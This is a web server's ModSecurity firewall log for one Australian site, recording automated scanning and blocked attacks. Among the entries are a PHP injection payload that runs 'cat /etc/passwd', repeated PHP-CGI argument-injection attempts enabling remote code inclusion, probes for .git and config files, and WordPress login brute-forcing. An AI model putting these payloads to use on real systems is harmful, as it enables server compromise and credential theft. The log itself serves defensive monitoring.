[Thu Nov 13 18:07:49.598381 2025] [:error] [pid 44354:tid 44374] [client 144.48.39.134:38908] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/fuel/pages/select/"] [unique_id "aRWt9XqKopQhy3G4s3l4eAAAAY8"]
[Thu Nov 13 18:16:43.536761 2025] [:error] [pid 62215:tid 62237] [client 157.90.79.58:54922] [client 157.90.79.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.90.79.58, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRWwC0vClof1c6XaOBW0LQAAANI"]
[Thu Nov 13 18:16:43.543322 2025] [:error] [pid 62215:tid 62237] [client 157.90.79.58:54922] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 20:49:56.073420 2025] [:error] [pid 62216:tid 62248] [client 51.159.214.31:57264] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.159.214.31, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRXT9OpyFB9M2aVQhwNVnQAAAAE"]
[Thu Nov 13 20:49:56.080080 2025] [:error] [pid 62216:tid 62248] [client 51.159.214.31:57264] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 22:14:08.335103 2025] [:error] [pid 4993:tid 5041] [client 178.62.28.91:35146] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.28.91, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRXnsMl_cC0Js5xNCU1NZAAAAA8"]
[Thu Nov 13 22:14:08.344829 2025] [:error] [pid 4993:tid 5041] [client 178.62.28.91:35146] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Thu Nov 13 23:24:07.818607 2025] [:error] [pid 19872:tid 19897] [client 45.153.34.41:34292] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRX4F8usrN1b6ZJ_vbs1UwAAAFQ"]
[Thu Nov 13 23:29:47.404716 2025] [:error] [pid 4994:tid 5073] [client 134.209.21.205:57460] [client 134.209.21.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.21.205, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRX5awVaYoYtjfBbabUqKAAAAJQ"]
[Thu Nov 13 23:29:47.411046 2025] [:error] [pid 4994:tid 5073] [client 134.209.21.205:57460] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 00:34:32.287612 2025] [:error] [pid 56496:tid 56545] [client 45.153.34.41:58902] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aRYImOh2ME7eucGJGGKpdAAAABE"]
[Fri Nov 14 00:45:38.658822 2025] [:error] [pid 56496:tid 56538] [client 154.38.173.241:43814] [client 154.38.173.241] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.38.173.241, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRYLMuh2ME7eucGJGGKsrwAAAAo"]
[Fri Nov 14 00:45:38.666160 2025] [:error] [pid 56496:tid 56538] [client 154.38.173.241:43814] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 01:57:40.528193 2025] [:error] [pid 56586:tid 56592] [client 139.59.79.159:54708] [client 139.59.79.159] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.79.159, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRYcFK7eYD3G9deYMP5L5AAAAYE"]
[Fri Nov 14 01:57:40.534903 2025] [:error] [pid 56586:tid 56592] [client 139.59.79.159:54708] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 03:14:24.101278 2025] [:error] [pid 56497:tid 56576] [client 144.48.39.134:50536] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "windfarmcoolants.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRYuEHsatOTNIa5GK3uFFAAAAJU"]
[Fri Nov 14 03:14:25.004375 2025] [:error] [pid 56586:tid 56602] [client 144.48.39.134:50546] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "windfarmcoolants.com.au"] [uri "/index.php"] [unique_id "aRYuEa7eYD3G9deYMP5vDgAAAYs"]
[Fri Nov 14 03:14:25.642074 2025] [:error] [pid 9109:tid 9129] [client 144.48.39.134:50558] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "aRYuEY5iBOowiCD1bSL99AAAARI"]
[Fri Nov 14 03:14:26.275985 2025] [:error] [pid 56496:tid 56536] [client 144.48.39.134:46090] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "windfarmcoolants.com.au"] [uri "/test.hello"] [unique_id "aRYuEuh2ME7eucGJGGLnJAAAAAg"]
[Fri Nov 14 03:18:29.351199 2025] [:error] [pid 56497:tid 56557] [client 196.22.142.216:58740] [client 196.22.142.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.22.142.216, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRYvBXsatOTNIa5GK3uGhwAAAII"]
[Fri Nov 14 03:18:29.359124 2025] [:error] [pid 56497:tid 56557] [client 196.22.142.216:58740] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 04:21:05.082045 2025] [:error] [pid 2578:tid 2596] [client 51.81.107.180:47916] File does not exist: /usr/local/apache/htdocs/suspended-page/vdconnect-fyk6hz6w.php
[Fri Nov 14 04:37:34.522454 2025] [:error] [pid 47154:tid 47172] [client 40.122.173.152:16333] [client 40.122.173.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aRZBjkijA13A3g3ATrJNTgAAAA0"]
[Fri Nov 14 04:37:34.914732 2025] [:error] [pid 47242:tid 47268] [client 40.122.173.152:16340] [client 40.122.173.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aRZBjlPNnvrux3OMagxgYwAAANc"]
[Fri Nov 14 04:37:35.291284 2025] [:error] [pid 47242:tid 47253] [client 40.122.173.152:16349] [client 40.122.173.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aRZBj1PNnvrux3OMagxgZAAAAMg"]
[Fri Nov 14 04:37:35.682405 2025] [:error] [pid 47630:tid 47643] [client 40.122.173.152:16357] [client 40.122.173.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "aRZBj8xXXNBfWgpfVJ77WwAAAQs"]
[Fri Nov 14 04:42:13.583796 2025] [:error] [pid 47156:tid 47229] [client 18.198.136.112:36458] [client 18.198.136.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.198.136.112, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRZCpdjrQX_P-kC7M_7OlAAAAI8"]
[Fri Nov 14 04:42:13.590906 2025] [:error] [pid 47156:tid 47229] [client 18.198.136.112:36458] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 06:03:13.608038 2025] [:error] [pid 47630:tid 47644] [client 185.199.223.93:37044] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.199.223.93, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRZVocxXXNBfWgpfVJ4sWgAAAQw"]
[Fri Nov 14 06:03:13.617913 2025] [:error] [pid 47630:tid 47644] [client 185.199.223.93:37044] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 07:07:49.875784 2025] [:error] [pid 47242:tid 47263] [client 196.245.184.146:50044] [client 196.245.184.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.245.184.146, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRZkxVPNnvrux3OMagypDwAAANI"]
[Fri Nov 14 07:07:49.881470 2025] [:error] [pid 47242:tid 47263] [client 196.245.184.146:50044] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 07:21:27.820216 2025] [:error] [pid 59105:tid 59130] [client 212.132.70.123:60376] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.132.70.123, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRZn97d-anP1JpNfuSKPZgAAAVc"]
[Fri Nov 14 07:21:27.830081 2025] [:error] [pid 59105:tid 59130] [client 212.132.70.123:60376] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 08:36:23.141236 2025] [:error] [pid 47154:tid 47173] [client 196.242.70.129:36365] [client 196.242.70.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.242.70.129, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRZ5h0ijA13A3g3ATrKkUQAAAA4"]
[Fri Nov 14 08:36:23.146307 2025] [:error] [pid 47154:tid 47173] [client 196.242.70.129:36365] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 09:25:59.628290 2025] [:error] [pid 47154:tid 47181] [client 144.48.39.134:32906] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.windfarmcoolants.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aRaFJ0ijA13A3g3ATrK0RwAAABY"]
[Fri Nov 14 09:26:00.263519 2025] [:error] [pid 59105:tid 59107] [client 144.48.39.134:32910] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.windfarmcoolants.com.au"] [uri "/index.php"] [unique_id "aRaFKLd-anP1JpNfuSK-EQAAAUA"]
[Fri Nov 14 09:26:00.899652 2025] [:error] [pid 47156:tid 47234] [client 144.48.39.134:32916] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.windfarmcoolants.com.au"] [uri "/test.php"] [unique_id "aRaFKNjrQX_P-kC7M_5VrgAAAJQ"]
[Fri Nov 14 09:26:01.533502 2025] [:error] [pid 47155:tid 47202] [client 144.48.39.134:32924] [client 144.48.39.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd cgi.redirect_status_env \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd cgi.redirect_status_env \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.windfarmcoolants.com.au"] [uri "/test.hello"] [unique_id "aRaFKZipxRXMZJH8hmg6twAAAFA"]
[Fri Nov 14 10:09:08.710574 2025] [:error] [pid 47156:tid 47215] [client 51.75.233.102:47280] [client 51.75.233.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.75.233.102, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRaPRNjrQX_P-kC7M_5vFAAAAIE"]
[Fri Nov 14 10:09:08.718182 2025] [:error] [pid 47156:tid 47215] [client 51.75.233.102:47280] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 10:55:09.841766 2025] [:error] [pid 59105:tid 59125] [client 198.98.53.242:6326] [client 198.98.53.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.98.53.242, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRaaDbd-anP1JpNfuSLpmwAAAVI"]
[Fri Nov 14 10:55:09.845617 2025] [:error] [pid 59105:tid 59125] [client 198.98.53.242:6326] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 11:24:57.970005 2025] [:error] [pid 47630:tid 47646] [client 178.128.250.184:43672] [client 178.128.250.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.250.184, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aRahCcxXXNBfWgpfVJ60CwAAAQ4"]
[Fri Nov 14 11:24:57.977957 2025] [:error] [pid 47630:tid 47646] [client 178.128.250.184:43672] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri Nov 14 12:36:12.312223 2025] [:error] [pid 16573:tid 16601] [client 172.234.186.127:54170] File does not exist: /usr/local/apache/htdocs/suspended-page/installer.php
[Fri Nov 14 13:32:25.076865 2025] [:error] [pid 16709:tid 16715] [client 138.68.144.227:56950] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v2/api-docs"] [unique_id "aRa-6aNdzfVNC4oipLXX7AAAAUQ"]
[Fri Nov 14 13:32:25.808950 2025] [:error] [pid 16575:tid 16652] [client 138.68.144.227:56958] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v3/api-docs"] [unique_id "aRa-6e6qT670YxigvbAsMAAAANI"]
[Fri Nov 14 13:32:26.545766 2025] [:error] [pid 16575:tid 16658] [client 138.68.144.227:56974] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aRa-6u6qT670YxigvbAsMwAAANg"]
[Fri Nov 14 13:32:27.276289 2025] [:error] [pid 16573:tid 16584] [client 138.68.144.227:56980] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/api/swagger.json"] [unique_id "aRa-6yPGexfUk9FDoEI8hwAAAEY"]
[Fri Nov 14 13:32:28.007350 2025] [:error] [pid 16575:tid 16645] [client 138.68.144.227:56992] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/@vite/env"] [unique_id "aRa-7O6qT670YxigvbAsNwAAAMs"]
[Fri Nov 14 13:32:28.740198 2025] [:error] [pid 16575:tid 16636] [client 138.68.144.227:56996] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/actuator/env"] [unique_id "aRa-7O6qT670YxigvbAsOgAAAMI"]
[Fri Nov 14 13:32:29.471602 2025] [:error] [pid 16709:tid 16726] [client 138.68.144.227:57006] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/server"] [unique_id "aRa-7aNdzfVNC4oipLXX-QAAAU8"]
[Fri Nov 14 13:32:30.206653 2025] [:error] [pid 16709:tid 16718] [client 138.68.144.227:57018] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aRa-7qNdzfVNC4oipLXX_gAAAUc"]
[Fri Nov 14 13:32:30.938478 2025] [:error] [pid 16709:tid 16714] [client 138.68.144.227:57034] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about"] [unique_id "aRa-7qNdzfVNC4oipLXYAwAAAUM"]
[Fri Nov 14 13:32:31.669877 2025] [:error] [pid 16709:tid 16728] [client 138.68.144.227:57038] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/debug/default/view"] [unique_id "aRa-76NdzfVNC4oipLXYCQAAAVE"]
[Fri Nov 14 13:32:32.398688 2025] [:error] [pid 16671:tid 16679] [client 138.68.144.227:57050] [client 138.68.144.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v2/_catalog"] [unique_id "aRa-8DsoHwEAmeIzZXDtVQAAAQI"]
